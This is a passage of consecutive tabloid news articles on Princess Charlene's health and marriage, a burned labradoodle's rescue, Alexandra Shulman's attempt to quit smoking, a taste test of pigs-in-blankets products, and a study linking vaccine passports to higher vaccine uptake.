'naive' and trapped in an unhappy marriage with Albert, saying: 'I don't for one second think she did not know what she was doing when she married him.' But one warned the mother of Prince Jacques and Princess Gabriella, seven, is not the type to be blindly controlled by the Monaco royal household. 'Charlene is no Princess Di.' one said. 'She may come across as being extremely naive, but nothing could be further from the truth. She is very good at keeping her smarts under wraps.' Meanwhile Prince Albert has continued to make public appearances with their twins, Jacques and Gabriella. The trio attended a tree planting event in Monaco and the Monaco National Day celebrations, where the children held up heartrending signs saying, 'Miss you Mommy' and 'Love you Mommy'. Missing their mother: Meanwhile Prince Albert has continued to make public appearances with their six-year-old twins, Jacques and Gabriella, who held up these signs to Charlene during the Monaco National Day celebrations on November 19 In interviews, Albert explained he had stepped up to play a bigger role in his children's lives as the family copes with Charlene's ongoing health issues. Timeline: Prince Albert and Princess Charlene's 10 months' apart January 27 - Charlene is pictured with Albert for the Sainte Devote Ceremony in Monaco. March 18 - Charlene is pictured at the memorial for the late Zulu monarch, King Goodwill Zwelithini at the KwaKhethomthandayo Royal Palace in Nongoma, South Africa April 2 - Charlene posts an Instagram picture of herself, Albert and their twins Jacques and Gabriella for Easter. It is unknown where the image was taken. May 8 - Albert, Jacques and Gabriella attend a Grand Prix event in Monaco without Charlene May 10 - Albert attends Monaco Gala Awards in Monaco without Charlene May 18 - Charlene shares her first picture from her conservation trip in South Africa June 1 - Prince Albert II, Jacques and Gabriella attend event at Oceanic Museum in Monaco June 3 - New photos emerge of Charlene on her conservation trip June 5- Charlene puts on a united front as she shares a photo with her family to mark her niece's fifth birthday with her brother's family and Albert and the twins in South Africa June 7 - Albert and the twins attend the World Rugby Sevens without Charlene June 17 - Prince Albert attends Red Cross Summer concert in Monte Carlo with his sister Princess Caroline of Hanover June 18 - Prince Albert appears alone Monte Carlo TV Festival June 24 - Charlene's foundation releases a statement saying the royal is unable to travel and is undergoing procedures for an ear, nose and throat infection July 2 - Charlene and Albert mark their 10th anniversary separately. 'This year will be the first time that I'm not with my husband on our anniversary in July, which is difficult, and it saddens me,' Her Serene Highness Princess Charlene said in a statement. July 3 - Albert appears with glamorous niece Charlotte Casiraghi at the 15th international Monte-Carlo Jumping event, which is part of the Longines Global Champions Tour of Monaco, July 27 - Prince Albert attends Olympics alone in Tokyo August 13 - Charlene undergoes a four-hour operation. The reason is not announced August 25 - Charlene shares photos of Prince Albert, Gabriella and Jacques visiting her in South Africa September 1 - Charlene is admitted under an alias to the Netcare Alberlito Hospital after suddenly 'collapsing' September 2 - She is discharged, with a statement from the Palais Princier reading: 'Her Highness is closely monitored by Her medical team who said that Her condition was not worrying' September 23 - Prince Albert attends the 2021 Monte Carlo Gala for Planetary Health September 29 - Prince Albert is joined on the red carpet by actress Sharon Stone for a first look at the eagerly anticipated James Bond release September 30 - Charlene releases a stylish video promoting her anti-poaching campaign from her South African bolthole October 3 - Princess Charlene shares a photograph of herself smiling in front of a bible in her first snap since being discharged from hospital following her health scare October 5 - Prince Albert attends Sportel Awards Ceremony in Monte Carlo with nephew Louis Ducruet October 6 - Albert tells RMC radio Charlene is 'ready to come home' October 8 - Princess undergoes surgery in South Africa November 8 - Charlene arrives back in Monaco. Prince Albert said within hours it became clear she was 'unwell' November 13 - Prince Albert attends Expo 2020 in Dubai without Princess Charlene Following his return from the trip, Prince Albert holds an intervention with Charlene's brothers and a sister-in-law in which Charlene 'confirmed' she would seek 'real medically framed treatment' outside of Monaco November 16 - Royal household confirms Princess Charlene will not attend National Day celebrations on November 19 - Prince Albert attends a Monaco Red Cross event without Princess Charlene November 17 - Prince Albert reveals Princess Charlene has left Monaco and is recovering in a secret location November 19 - Prince Albert reveals Charlene is in a treatment facility 'elsewhere in Europe' after a family intervention Advertisement Jacques and Gabriella are homeschooled at the palace after being taken out of the classroom due to Covid. 'For me, it's pretty simple my priority is my family,' he said in an interview this month. 'Of course, without neglecting state affairs... I hope everyone understands that. When I can be with my kids, I do it without hesitation. 'This is an extremely important time in their life the way they grow up helps them see the world. 'And if one of the parents is away for medical reasons, the other parent has to be there. I have heard too many friends and acquaintances telling me that they wish they had been there for their children, at a certain age, taken up by their work or their professional life. I don't want to have these regrets.' Charlene returned to her husband and twins Jacques and Gabriella in Monaco earlier this month following a 10-month absence, while she recovered from surgery following a sinus infection she contracted during a solo charity trip to her native South Africa earlier this year. In the days after her arrival, Charlene's sister-in-law Chantell Wittstock, told MailOnline the princess may not be returning to the palace and did not plan to immediately return to public engagements, although she later retracted the remark. Charlene's time away followed fresh allegations last December that Albert had fathered a love-child (which would be his third, if proven) with an unnamed Brazilian woman during the time when he and Charlene, a former Olympic swimmer for South Africa, were already in a relationship. Photographs of their reunion earlier this month were greeted with a hefty dose of scepticism by the French media. Albert was waiting for her at the Monte Carlo helipad, along with their six-year-old twins, Princess Gabriella and Prince Jacques. The family were joined by a hand-picked photographer inside the Palace walls for the 'reunion' photos. Albert said the family reunion in Monaco last week after she spent six months in her native South Africa initially went 'pretty well' in the first few hours, but it then became 'pretty evident' that Charlene was 'unwell.' He said the former Olympian 'realised she needed help', adding: 'She was overwhelmed and couldn't face official duties, life in general or even family life.' Albert explained: 'I'm probably going to say this several times, but this has nothing to do with our relationship. I want to make that very clear. These are not problems within our relationship; not with the relationship between a husband and wife. It's of a different nature.' He went on to tell the magazine her current state was a result of 'several factors which are private'. Albert continued: 'She hadn't slept well in a number of days and she wasn't eating at all well. She has lost a lot of weight, which made her vulnerable to other potential ailments. A cold or the flu or God help us, COVID.' He said it is 'not cancer-related or personal relationship issue.' He later confirmed Charlene has been admitted to a treatment facility for undisclosed medical issues, as she works through a period of ill health. The location of the facility was not confirmed, though several sources claim it is in Switzerland. The prince also said rumours around the state of his marriage 'don't bother him too much'. Doubts about the central relationship of Monaco's royal family are not new. Several residents living in the narrow medieval alleys of Monaco Ville confirmed to MailOnline that before she left for South Africa Charlene was spending most of her time outside the Palace, living in a modest two-bedroom apartment above an old chocolate factory about 300m away, rather than in the 12th Century Palace itself. 'We often saw her outside the Palace and she would usually be alone or with a bodyguard,' said one source, 'but she was never with Albert - it was obvious she chose to spend most of her time in the apartment rather than the palace.' Princess Charlene met Prince Albert in 2000 during a swimming competition in Monaco and the pair married in 2011, before welcoming twins Gabriella and Jacques in 2014. Born in Rhodesia- a previously unrecongised state in Southern Africa colonised by the British, she relocated to South Africa aged 11. She had a successful swimming career and went on to win three gold medals and a silver medal at the 1999 All Africa Games in Johannesburg, as well as representing South Africa at the 1998 and 2002 Commonwealth Games and winning a silver medal in the 4 100 m medley relay in the latter competition. However the pair's marriage has made numerous headlines over the years, with a third paternity suit emerging last year. Soon afterwards Charlene infamously shaved half her head in the style of a punk rocker last December. This was seen as the first public sign of a worsening crisis that could end in a multi-million pound divorce. Charlene's exile in South Africa began a month after it emerged last December that Albert was facing yet another paternity suit. Prince Albert revealed last month his wife had been admitted to a European treatment facility within days of her return to Monaco following a 10-month absence in her native South Africa. The royal looked frail in this Instagram post shared from South Africa in October A Brazilian woman who cannot be named for legal reasons said her 15-year-old daughter was the result of an affair with Albert in 2004. Albert and Charlene were not yet engaged at this time, but they had known each over for four years after meeting at a swimming gala in Monaco in 2000. Lawyers for the claimant were scheduled to demand a DNA test from Albert at a court in Milan earlier this year, while his own counsel branded the action 'a hoax'. Neither party is now commenting, suggesting some kind of generous settlement may have been reached, as happened with Albert's earlier love children. They are Jazmin Grace Grimaldi, who is now 29 and the result of Albert's affair with an American estate agent, and Alexandre Coste, 17, whose mother is a former Togolese air hostess. Both children were struck off Monaco's line of succession in return for vast financial settlements. A labradoodle was left with horrific burns all over its body after he was set on fire in Georgia in an attack that has been branded a 'horrendous act of evil' by rescuers. The dog, who was named Will by his rescuers, was almost killed after enduring the vicious attack, and is now expected to be in the hospital for weeks as he goes through a long and painful recovery. On December 5, some time after 10 A.M., a few people in Dekalb county noticed the animal walking down the street - completely engulfed in flames. Thankfully, the citizens were able to quickly put the fire out, and he was rushed to a nearby animal hospital. A labradoodle was left with horrific burns all over its body after being set on fire in Georgia The dog, who was named Will by its rescuers, was almost killed from the vicious act, and is now expected to be in the hospital for weeks as he goes through a long and painful recovery On December 5, people in Dekalb county noticed the animal walking down the street - completely engulfed in flames. He was rushed to a nearby animal hospital After spending a week in critical condition, vets said they now think he will make a full recovery - but added that it's not going to be easy for the pup, who will have to get numerous procedures to remove his damaged tissue. According to WXIA, police have located Will's original owner, but have not been able to figure out if they were behind the cruel attack. Dog Days Rescue - a non-profit organization that is overseeing Will's treatments - has been continuously sharing updates on his condition via its Facebook page. 'Who in the world sets a dog on fire?' the organization asked in one of its posts. 'I'm really struggling to find the words for this horrendous act of evil. 'He is being hospitalized and will be for quite some time. He's under constant supervision. 'He's on a many pain medications as safely possible, he's on strong antibiotics and other IV medications. The shelter explained that Will be going through a process called debridement - which is the medical removal of dead, damaged, or infected tissue. After spending a week in critical condition, vets said they think he will make a full recovery - but the pup will have to get numerous procedures to remove his damaged tissue Dog Days Rescue, who is overseeing his treatments, has been sharing updates on Will since the incident, and was happy to report on December 8 that he wagged his tail for the first time 'He will likely need to go through this painful process daily as he heals,' Dog Days Rescue explained. 'Unfortunately, things will get worse before they get better. That's the nature of burns like his. 'Words can't express how disgusted, angry and heartbroken I am right now. We, as a society, have to be better. We have to do better.' They also revealed that the labradoodle appeared to have scars from old wounds, which led them to believe he had been abused for 'quite awhile.' According to the rescue facility, Will's treatments are going to cost thousands of dollars, so they set up a fundraiser to help cover the costs. The internet quickly began rallying together, and as of Wednesday morning, they already raised more than $11,000. The organization was happy to report on December 8 - three days after the disturbing incident - that Will had wagged his tail for the first time since coming into their hospital. Despite being in severe pain and going through a near-death experience, they said he has since remained in 'good spirits,' and loves to give 'kisses and cuddles' to the staff. 'It has to be painful but he is showing his gratitude to the staff caring for him,' they wrote. 'He's in good spirits. I got some kisses and he clearly wants to cuddle. They said he has since remained in 'good spirits,' and loves to give 'kisses and cuddles' to the staff According to WXIA , police have located Will's owner, but have not been able to figure out if they were behind the cruel attack 'I can't imagine going through such trauma and being so sweet the next day. Another testament to how amazing dogs are.' Two days later, they said that although his condition was 'still serious,' they believe he 'will pull through.' 'His will to live is obvious. He is stable, comfortable and adores his doting vet staff,' they said. The shelter also said his eyes and nose were healing nicely, but that the rest of his body 'still had quite a ways to go.' They added: 'His protein levels aren't where we would like but we are taking steps to correct that. 'He is expected to be hospitalized for at least another four weeks, it could very well be longer. 'He continues to receive as much love and attention as he can handle. Right now, were just praying that he doesnt have any complications and continues to move forward.' Crime Stoppers Atlanta and PETA are offering a reward of up to $7,000 in the case. Anyone with information can contact Crime Stoppers Atlanta at (404) 577-8477. Theres a photograph of my mother, propped on a bookcase in the flat where my siblings and I grew up and where she still lives using the tip of a cigarette to set her ration book alight. Taken on the last day of rationing in 1954 for the newspaper where she worked, its an unabashed celebration of freedom. And it has about it the air of careless bravado that attracts so many young people to smoking a habit that can haunt them for years. Id like to be able to point to that picture and say it was that allure which kicked off my own 50 years of smoking, but it wasnt. To be honest, I dont remember why I started. Do most people? What I do know is that smoking has been one of the greatest, guiltiest pleasures in my life ever since I took it up around the age of 13. Alexandra Shulman, who was recently diagnosed with breast cancer, has revealed she's attempting to quit smoking. Pictured: Alexandra Shulman, cigarette in hand, at a fundraiser at the Royal Academy of Arts in 1984 Its only now, aged 64 and after confronting a recent breast cancer diagnosis, that I am attempting, for the first time, to call it quits. Until now, I have taken a kind of cost-per-wear attitude to the risks attached, vaguely calculating that if I became ill, well, I would have to factor in the many years of pleasurable smoking I had experienced. But when you suddenly realise its now payback time, that bargain doesnt look quite so attractive. I smoked what I hope will be my last cigarette the evening I learned about which cancer treatment I would be having. I was very fortunate that my particular cancer was of a type that would react well to hormone therapy, and there would be no need for me to endure the many months of chemotherapy that are often involved in breast cancer treatment. That was four weeks ago. During the nearly two months between diagnosis and that moment, I was in no condition to stop smoking. Cigarettes were my crutch more than ever. I was obviously aware that the correct thing to do would have been to stop immediately, but I was just trying to put one step ahead of another mentally and stop myself going into a spiral of anxiety about what might be. Stopping smoking would have to wait. It wasnt as if I had been ordered to stop by my medical team. They were not prescriptive in telling me what to do. They concentrated on telling me what they were planning to do. When I began smoking as a teenager, the activity was viewed through quite a different filter. Back in the late 1960s, most of the adults I came across smoked. Not our father he abhorred everything about it. But our mother had exchanged occasional cigarettes for a 40-a-day habit for a few years. Alexandra said her mother had exchanged occasional cigarettes for a 40-a-day habit for a few years. Pictured: Her mother Drusilla Beyfus sets her ration book alight with a cigarette She gave up in her late 30s after puffing the entire way on a Pan Am flight from Los Angeles to London, stubbing out her fags in the small seat-side ashtray because our father told her she smelled like a tannery. Brutal but effective, I suppose. Even then, there was an awareness that smoking was not a healthy activity. Friends parents would chatter about how, really, they should give up, flicking their elegant Dunhill lighters into action and tapping their ash into decorative ashtrays. The smell of smoke was always veiled by a spritz of Joy or Fracas, or a splash of Bay Rum aftershave. But there were always chic cigarette boxes on coffee tables for visitors, their contents as much a part of the cocktail hour ritual as the ice bucket and bottles of Gordons Gin and Martini. Lighting up signified a sign-off from responsibility Cigarettes were the canapes of the day. They were an intrinsic part of adult social life and so perhaps it was not surprising that most of my generation wanted a part of it, as soon as we could. My first cigarettes were a dark green box of St Moritz with their gold By appointment to His Royal Highness The Prince of the Netherlands insignia. I probably thought that the menthol would disguise the smell. Early on I smoked a whole packet in my bedroom in the company of my friend, Sarah, who did the same with a packet of Dunhill. We were both violently sick. That may have discouraged me from smoking so many all at once, but it did nothing to put me off smoking per se. Alexandra (pictured) said although her mother was relatively chilled about her smoking, her father was known to reiterate what a filthy habit smoking was We all smoked, much of the time. We smoked in the lunch hours at my West London girls school where we could easily escape and hang out in the local side streets. We smoked on the top deck of the bus home. We smoked in the local hamburger restaurant; in the Rainbow Room of the Biba department store; on park benches, at open-air concerts, in boyfriends cars and, if we thought we could get away with it, in our homes. There were safe houses where some parents didnt mind us smoking, but mine was not one. Although our mother was relatively chilled about it, our father was known to steam into the bedroom as I puffed out of the window and noisily reiterate what a filthy habit smoking was. All the same, there was never a time when I didnt enjoy smoking. No period when I had to force myself to inhale. Or when I felt it necessary to smoke in order to be cool. Cigarettes and I were a match from the get-go and I loved the whole experience. I was an unfaithful smoker, moving from brand to brand driven more by association than by specific taste: the soft pack of Gauloises Disque Bleu which our Swiss au pair, Terry, smoked; the supposed French cool of Gitanes with its beautiful cobalt packaging; the gold Benson & Hedges that fitted into the heightened glam rock of the 1970s. Cigarettes were as much an element of style as a pair of Fiorucci velvet jeans. How I miss the dizzy buzz of the first drag of the evening I became a Marlboro Light girl in the 1990s, and more recently began to smoke roll-ups because I thought they were a slightly healthier option and I rather enjoyed rolling them, too. A few summers ago, I fell for a Greek brand which a friend was smoking on holiday, and I realised again how lovely it was to lift one, ready made and perfect, from the neat row in the box. Sitting in a drawer opposite me as I type is my last packet, from a trip to Greece this year. By the time I entered the workplace, in the early 1980s, everyone was increasingly aware of the health hazards attached to smoking. Still, I considered cigarettes a pretty low bar compared with the alcohol intake of many of my contemporaries. When I worked on Tatler during that period, most people smoked at work. Alexandra said everyone was smoking when she became editor of Vogue at the start of the Nineties, therefore there was no drama about smoking at the desk The office of the chairman of publisher Conde Nast at the time a debonair Frenchman called Daniel Salem was always filled with a lingering haze of smoke sometimes enhanced with the thick, sweet aura of a cigar. When I became editor of the companys magazine GQ and then of Vogue at the start of the Nineties, we were all still smoking, a filled ashtray as much a part of the office scene as our Atex computers and the fax machine. I remember a time on Vogue when the big drama was not about someone smoking at the next desk, but a spat over the smell of the scented candle that a miserable, non-smoking colleague had lit to combat the tobacco fug. When I was pregnant with my son, Sam, in 1994, however, I immediately gave up smoking with no difficulty. I may have struck a deal with my own body over the risk involved, but even I was not prepared to inflict the same on him in my womb, which I wanted to be a safe and healthy home. For the two months after my diagnosis I was in no condition to stop smoking. More than ever cigarettes were my crutch But Im afraid that within months of him being born, once I had stopped breastfeeding, I started smoking again. Many contemporaries stopped in their 30s or 40s when they had children, but not me. This is probably because of the pattern of my smoking. I smoked only in the evening (when my small child was in bed), and usually only four or five cigarettes a day. When I raised concerns about my smoking at my annual company medical check, the doctors invariably said that smoking so few was not really a problem. I was happy to believe them. Everyone always said how lucky I was that I could still smoke, because, unlike them, I had it under control. But the truth is that my behaviour had nothing to do with self-control. I just didnt want a cigarette during the day. Despite giving up smoking while pregnant in 1994, Alexandra said she began again after she had stopped breastfeeding. Pictured: Alexandra, with son Sam I didnt smoke at work not because I felt it was inappropriate, but simply because I never felt the desire. Smoking for me was about time out. It was the signifier of relaxation and pleasure a sign-off from responsibility. It was that feeling I was addicted to, not really the tobacco or nicotine. For me, smoking was never a stress-relieving mechanism. I got pleasure from the feeling of the object between my fingers. The very first cigarette was something I looked forward to from early evening. That dizzy buzz of the first drag was never something I particularly enjoyed, but now I miss that hit. A lot. As smoking became increasingly outlawed and unpopular, there were many nights when I wouldnt have a single cigarette until I returned home and could light up. I would wake in the dark at 3am and worry about lung cancer Not for me the huddle in the cold outside a restaurant for a fag; nor, when I was at Vogue, was I part of the mass exodus from any fashion dinner after the first course, for a cigarette. It would be true to say that for many of my years there, the majority of guests cared more about when they could smoke than they did about the food. But for me, that last one or two before bed they were non-negotiable. My home has always been a smoking house. Everyone is welcome to smoke and as my son grew up, not only my friends but his would indulge. In recent years when people came to dinner and I lit up, I noticed that at least half the party would cadge one or two cigarettes off me, saying how much they missed them, taking deep drags with dramatic pleasure rather as though it was some exotic substance they were inhaling instead of a Marlboro Light. The other half would behave as all reformed evangelists do and chastise me with a patronising I cant believe youre still smoking line that made me want to blow my smoke straight into their face. It was, after all, my house. I was free to do as I wished. Alexandra said months of Covid-19 have been bad for her smoking, as she increased her intake while binge-watching television. Pictured: Alexandra with Anna Wintour However, despite such cavalier behaviour, my nagging fear was always that I might contract lung cancer, not breast. And that if I did, it would be no ones fault but my own. When I awoke, in the dark hour that is 3am, that thought would usually be the spear-carrier for a following platoon of anxieties. Then, lying in bed, I would promise myself that Id think about giving up (note: think) in the morning. Maybe I should book a lung scan. But inevitably by the evening, once supper had finished, there I was again, lighting my first one of the day. It didnt seem at that point, away from insomniac night anxiety, so very terrible to have a few cigarettes along with the wine that is also my great evening pleasure. Or even without the wine. I should add that these months of Covid-19 have been bad for my smoking. Before the pandemic, we would so often spend evenings out where you couldnt smoke, so there were weeks when I smoked very little. But night after night at home chatting round the table and watching endless television while being able to smoke as much as I wanted, certainly increased my intake. My four or five was creeping up to seven or eight, depending on how many episodes I was binge-watching. So now having recently had a lumpectomy and receiving treatment to prevent recurrence of the cancer, Ive realised something has to change and I am making my first real attempt to quit. Or at least move to Plan B the exchange of cigarettes for vapes. Alexandra (pictured) admits that she doesn't feel as though she has reached the rock bottom that is sometimes needed to quit any addiction When I told a smoking lifer of my decision to try vaping the other day, she replied scornfully: Arent smoking and vaping completely different things? I vape and then nip out for a cigarette afterwards. You dont swap one for the other. And shes right. Vaping has none of the appeal of smoking other than satisfying an oral fixation similar, I suppose, to a baby and its dummy. Vapes look hideous, the smoke gives you no hit, they have a slightly nasty, metallic quality and most of all they are not the cigarettes that have been part of me for so long. But I cant contemplate the idea of there being nothing that signifies that end-of-day, sign-off pleasure that, for some reason I cant for the life of me understand, is conjured up by blowing smoke out of my mouth. I cant pretend I feel hugely optimistic about my ability to abandon cigarettes for good, but I am really trying. Deep down I dont feel as though I have reached the rock bottom that is sometimes needed to quit any addiction. But if a cancer diagnosis isnt enough, what would be? I have been relatively fortunate in my experience of breast cancer in avoiding the gruelling chemotherapy or a mastectomy, but the fact is I did get breast cancer and smoking is a known trigger. This morning, I mentioned to my partner, David, who gave up smoking 25 years ago, that I wasnt sure I was going to be able stick to it. Dont laugh in the face of the gods, whove been nice to you, was his stern and rather compelling reply. Id very much like to keep those gods on my side. What could be better than pigs in blankets with your Christmas dinner? Well, what about a stag in a quilt, a chick in a blanket, or even a steaming dish of pig-in-blanket-flavoured macaroni cheese? This year, everyones favourite trimming mini pork sausage wrapped in bacon has been given a radical makeover. Its no surprise that retailers are keen to capitalise on our liking for a PIB, which topped one poll of our favourite Christmas foods this month, and narrowly lost out to spuds and turkey in another. One in four of us claimed they prefer PIBs to everything else served up on Christmas Day. Tom Rawstorne (pictured) goes the whole hog for an exhaustive test of the best shop-bought pigs in blankets Thought to have originated in Czechoslovakia or Germany, the earliest written record of pigs in blankets is in U.S. chef Betty Crockers Cooking For Kids, which was published in 1957. They have long since become a staple of the Christmas dinner table, but now you can indulge in pork pimped with a fruit glaze or versions which use chorizo, venison or chicken. And its not just the festive feast where they take centre stage Britains supermarkets now top pizzas with them, wrap them in sushi rice as well as add them to macaroni cheese. And you can pick up packs of special edition crisps and nuts infused with the flavour, too. Here TOM RAWSTORNE goes the whole hog for an exhaustive test of the best shop-bought pigs in blankets and the unlikely versions they have inspired . . . PREMIUM PIGS Tesco 8 Candy Cane Pigs in Blanket with Orange and Maple Glaze, 6, tesco.com Tom said Tesco 8 Candy Cane Pigs in Blanket with Orange and Maple Glaze (pictured) has a pleasant, sticky sweetness with every bite Top marks for inventiveness for whoever dreamed up this festive twist. In reality, its nothing more than a normal pig in blanket with a kink in the neck! But the addition of maple and orange glaze guarantees a pleasant, sticky sweetness with every bite. 3/5 Farmison Luxury Chestnut, Sage & Apricot Pigs in Blankets, 8.95, farmison.com Ordered online from the foodies favourite butcher, these PIBs are the most expensive of the lot, costing an eye-watering 90p each. But the quality of the meat is noticeably better than the rest, with more texture and less mush, while the apricot adds a subtle hint of sweetness without being overwhelming. 5/5 M&S Our Best Ever Pigs in Blankets, 5, ocado.com Tom said M&S Our Best Ever Pigs in Blankets (pictured) retain their moisture nicely during cooking and have a traditional taste These plump little piggies retain their moisture nicely during cooking possibly due to the pork stock that is mixed in with the prime cuts of pork that make up the sausage. The maple-cured streaky bacon crisps up well, delivering a traditional-tasting mouthful. 4/5 PIGS WITH A TWIST M&S Chorizo Pigs in Blankets, 4.50, ocado.com These smoky, Spanish pancetta-wrapped chorizo sausages come with a pack of sticky honey glaze that you baste on towards the end of the cooking process. Meaty and flavoursome, they taste great but are so salty you wont manage more than a couple at a time. 3/5 Aldi 4 Pork & Apple Pigs in Beds, 3.99, aldi.co.uk Tom said Aldi 4 Pork & Apple Pigs in Beds (picture) are fun, interestingly flavoured and substantial New for 2021 and Best Pigs in Blankets at the Quality Food Awards, these chunky chaps feature bite-sized pork piglets in an apple and honey meat bed, nestled on cranberry pillows and tucked up under a blanket of smoked bacon. They are fun, interestingly flavoured and substantial one per person would be more than enough. 4/5 Sainsburys Taste the Difference Truffle Flavoured Pigs in Blankets, 3.50, sainsburys.co.uk Unsurprisingly, the overpowering waft of truffle assails the nostrils upon opening these little pigs. But once cooked, that doesnt really translate into a particularly distinctive taste. A good Christmas table talking point if nothing else. 2/5 Aldi Specially Selected Stags in Quilts, 2.49, aldi.co.uk Made with a mix of British wild venison and pork, you can instantly taste the difference when you bite into these. The meat is sweeter, more dense and requires a bit more of a chew. So, gamey but not a game-changer. 2/5 Tesco Chicks in Blankets, 2.25, tesco.com Tom said Tesco Chicks in Blankets (pictured) look the part, but are dry and tasteless Chicken may be our most-consumed meat, but it simply doesnt deserve a place in festive bangers. While they come out of the oven looking the part, they are dry and tasteless and would bring precious little cheer to your meal. 1/5 Harry Ramsdens Battered Pigs in Blankets, 3.50, iceland.co.uk If youve ever found yourself yearning for a battered saveloy on Christmas Day, then heres your answer. While you cant really taste the bacon wrapped around the pink, batter-encased sausage meat, the end result has a fish and chip shop flourish. And none the worse for it! 3/5 Sainsburys Pigs in Blankets Mac & Cheese Snack Pot, 1, sainsburys.co.uk Tom said Sainsburys Pigs in Blankets Mac & Cheese Snack Pot (pictured) smells unpleasantly of cheese and had crunchy bits amid the goo A pot of dried pasta in a cheese sauce with a pigs in blanket flavour just add boiling water and leave to stand for five minutes. Then put straight in the bin! Smells strongly and unpleasantly of cheese and even after the allotted time there were crunchy bits amid the goo. 0/5 PIGS PLUS ASDA 30 Pigs in Blankets Flavour Battered Chicken Nuggets, 2, asda.com These limited edition battered chicken nuggets emerge from the packet looking as orange as Donald Trump. They crisp up well in the oven but the PIB flavouring just makes them taste like a chicken-filled Frazzle crisp. 1/5 Iceland Luxury Filled Yorkshire Pudding: Pigs in Blankets, Mac n Cheese, 3, iceland.co.uk Tom said Iceland Luxury Filled Yorkshire Pudding: Pigs in Blankets, Mac n Cheese (pictured) are delicious Not for the faint-hearted, the pigs in blankets are delicious but the stodge levels of the macaroni, cheese and yorkshire pud are utterly overwhelming. Expect to need a lie-down afterwards. 3/5 Aldi Specially Selected Festive Pigs In Blankets Sourdough Pizza, 3.49, aldi.co.uk Finished with pigs in blankets, turkey, garlic and herb crumb, creamy mozzarella and a scattering of juicy cranberry sauce, this is an impressive-looking pizza. The salty pork works well, but one of the round PIBs rolls off during the cooking process. 4/5 BETWEEN MEALS Sainsburys Pigs in Snowy Blankets Dragon Sushi Roll, 3, sainsburys.co.uk Tom said Sainsburys Pigs in Snowy Blankets Dragon Sushi Roll (pictured) has a nice cranberry flavour but the rice is dry and chewy For those who cant get past lunchtime without yearning for their PIB hit, these snacks may be the answer. Little rolls of sausage and bacon with cranberry sauce are rolled in rice with a topping of sweet chilli sauce, crispy onions and paprika flakes. The cranberry flavour comes through nicely but the rice is dry and chewy. 3/5 Tesco Finest 6 Pigs in Blankets in Yorkshire Puddings, 5, tesco.com Forget toad in the hole its Christmas, so this mini Yorkshire pudding is filled with a bacon-wrapped piggy. They are very well presented, if a touch dry once cooked, but would work well served as a canape. 4/5 Tesco Finest Crinkle Cut Pigs in Blankets Crisps, 90p, tesco.com Tom said Tesco Finest Crinkle Cut Pigs in Blankets Crisps (pictured) have little to suggest the flavour is pigs in blankets A substantial, crinkly crisp, but in a blind tasting theres little to suggest the flavour is pigs in blankets. Just a general smoky meatiness. 2/5 Iceland Crunch Time Crispy Coated Peanuts Pigs in Blankets Smoky Bacon and Sausage Flavour, 1, iceland.co.uk Each nut is encased in a crispy coating. Again, the flavour is hard to pin down, as is the point of this product. If lifes too short to stuff a mushroom, a similar sentiment must surely apply to peanuts. 1/5 Mackies of Scotland Pigs in Blankets Festive Flavour Potato Crisps, 1, iceland.co.uk While these crisps are certainly full of flavour, I struggled to pick up anything more than the merest hint of bacon. 2/5 Vaccine passports are effective at convincing people in areas of low vaccination rates to get their shots, a new study finds. Researchers at the University of Oxford, and England, found that when countries like France, Israel, Italy and Switzerland experienced uptakes of vaccine demand once the jabs became required to go into bars, restaurants and take part in other activities. Younger people aged between 20 and 40 were notably responsive to the mandates, likely because the introduction of the rule forced them to get jabbed to improve their social lives. Before the mandates went into place, all four countries were falling behind their peers in vaccine uptake, although there is now fresh urgency to get people jabbed as Omicron spreads, with the variant estimated to be behind up to three per cent of new infections in the US. Requirements were also found to be less effective in a country like Germany, where many people already had been vaccinated even before the country put certain mandates in place. Vaccine mandates are slowly becoming more common, with cities like New York, Los Angeles and San Francisco all requiring vaccine checks to attend certain events and take part in some activities. Researchers found that mandates that made Italians to show proof of vaccination to attend sporting events or certain private parties increased vaccine uptake by 7%. The projected vaccine uptake with out the mandate is in blue, the actual vaccine uptake is in red. The dotted line is the day the mandate was announced, while the solid line is the day it went into effect In France, front line workers were among those mandated to receive the shots. Proof of vaccination was also required to attend events with more than 50 people. The mandates increased vaccine demand by 13%. The projected vaccine uptake with out the mandate is in blue, the actual vaccine uptake is in red. The dotted line is the day the mandate was announced, while the solid line is the day it went into effect Israel had the most success with its vaccine mandate, which applied to gyms, sporting events and places of worship, increasing vaccine demand by 24%. The projected vaccine uptake with out the mandate is in blue, the actual vaccine uptake is in red. The dotted line is the day the mandate was announced, while the solid line is the day it went into effect The research team, who posted their findings in Lancet on Monday, gathered data from five European countries and Israel for the study. For each of them, they compared vaccine uptake by age group from the time before to the time after a mandate was put in place. Researchers used the data from before the vaccine restrictions, or 'interventions', occurred to build a projection as to how many people would have gotten the shots if the rollout continued as normal. They then compared the projected model to the actual result of the vaccine mandate. The mandates were most effective in Israel, where at one point vaccine uptake was four times higher than the projection. Overall, researchers found that the mandate in Israel - which required proof of vaccine to attend sporting events, go to the gym, places of worship, tourist attractions or universities - increased vaccine uptake 24 percent. In France, a vaccine mandate was put in place for many health care, police, fire service and front line employees. Proof of vaccination was also required to travel long distances by plane or train, or to attend any event where 50 or more people were present. The mandates increased the overall vaccination rate by 13 percent. Researchers found that young people were most likely to get vaccinated as a result of the mandates, as many wanted to continue going to bars and clubs, and go to other events. Pictured: A woman in Ishoej, Denmark, receives a shot of a COVID-19 vaccine Italians had to show proof of vaccination to get into hospitality venues, some private parties or indoor sporting venues, and the countries vaccine demand increased by seven percent due to the mandates. In Switzerland, a person needed to be vaccinated in order to attend any venue with more than 1,000 people, along with other indoor events at hospitality venues. The Swiss mandates also were credited with a seven percent overall increase in vaccination rate. In all of the countries, the biggest increase in vaccination rate was among people under 30, leading researchers to believe that many young people who were previously indifferent to the shots suddenly wanted them to keep attending events. 'We know that certain groups have lower vaccine uptake than others, and it may be that COVID-19 certification is a useful way to encourage vaccine complacent groups, like young people and men, to get vaccinated,' said Tobias Ruttenauer, co-author of the study and post-doctoral fellow at Oxford, said in a press release. 'However, COVID-19 certification alone is not a silver bullet for improving vaccine uptake and must be used alongside other policies, such as targeted vaccine drives.' Researchers also normalized COVID-19 daily case numbers to compare how these four countries fared against others in Europe. They found that cases were lower in France, Italy and Switzerland than their peers after the mandates went into place. In America, younger people have consistently had the lowest vaccination rate. While almost all Americans over the age of 65 have received at least one shot of a COVID-19 vaccine, and more than 80 percent of people 40 to 65, the younger age groups have fallen behind the pace. Only 70 percent of Americans 18 to 24 have received at least one shot of a COVID-19 vaccine, and 58 percent are fully vaccinated, according to data from the Centers for Disease Control and Prevention. Around 74 percent of people 25 to 39 have received one shot, with 62 percent fully 